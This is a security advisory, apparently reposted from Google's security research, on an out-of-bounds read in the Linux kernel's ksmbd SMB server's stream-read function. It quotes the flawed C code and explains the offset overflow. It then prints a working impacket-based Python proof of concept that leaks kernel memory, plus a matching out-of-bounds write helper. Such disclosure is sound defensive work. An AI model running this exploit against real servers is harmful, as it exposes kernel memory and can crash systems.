Linux Kernel: Out of bounds Read in ksmbd_vfs_stream_read
Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Strea 2025-1-8 23:59:36 Author: github.com(查看原文) 阅读量:3 收藏

Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf.

Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce.

static int ksmbd_vfs_stream_read(struct ksmbd_file *fp, char *buf, loff_t *pos,
				 size_t count)
{
	ssize_t v_len;
	char *stream_buf = NULL;

	ksmbd_debug(VFS, "read stream data pos : %llu, count : %zd\n",
		    *pos, count);

	v_len = ksmbd_vfs_getcasexattr(file_mnt_idmap(fp->filp), // (1)
				       fp->filp->f_path.dentry,
				       fp->stream.name,
				       fp->stream.size,
				       &stream_buf);
	if ((int)v_len <= 0)
		return (int)v_len;

	if (v_len <= *pos) { // (2)
		count = -EINVAL;
		goto free_buf;
	}

	if (v_len - *pos < count)
		count = v_len - *pos;

	memcpy(buf, &stream_buf[*pos], count); // (3)

free_buf:
	kvfree(stream_buf);
	return count;
}

An attacker can exploit this vulnerability by crafting an SMB read request with a large offset that overflows the loff_t type, resulting in a negative value. This negative offset is then passed to ksmbd_vfs_stream_read, triggering the out-of-bounds read.

from impacket import smb3 as smb, smbconnection
from hexdump import hexdump


class BugClient:
    def __init__(self, target, share, username, password, domain="", port=445):
        self.target = target
        self.share = share
        self.username = username
        self.password = password
        self.domain = domain
        self.port = port
        self.smbClient = smbconnection.SMBConnection(
            self.target, self.target, sess_port=self.port
        )
        self.smbClient.login(self.username, self.password, self.domain)

    def leak_oob(self, file_path, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file
            file_id = self.smbClient.openFile(
                tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
            )

            # Read the file contents at offset
            data = self.smbClient.readFile(
                tree_id, file_id, 18446744073709551615 - how_much, how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the tree
            self.smbClient.disconnectTree(tree_id)

            return data

        except Exception as e:
            print(f"Error reading file: {e}")
            return None

    def write_oob(self, file_path, data, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file for writing
            file_id = self.smbClient.openFile(
                tree_id,
                file_path,
                desiredAccess=smb.GENERIC_WRITE,
                creationDisposition=smb.FILE_CREATE,
            )

            # Write data at the specified offset
            self.smbClient.writeFile(
                tree_id, file_id, data, 18446744073709551615 - how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the share
            self.smbClient.disconnectTree(tree_id)
        except Exception as e:
            print(f"Error writing file: {e}")
            return None


client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass


# Leak 64 bytes of OOB data
data = client.leak_oob("/file:stream1:$data", 64)
hexdump(data)

文章来源: https://github.com/google/security-research/security/advisories/GHSA-gqrv-6fcf-hvv8
如有侵权请联系:admin#unsafe.sh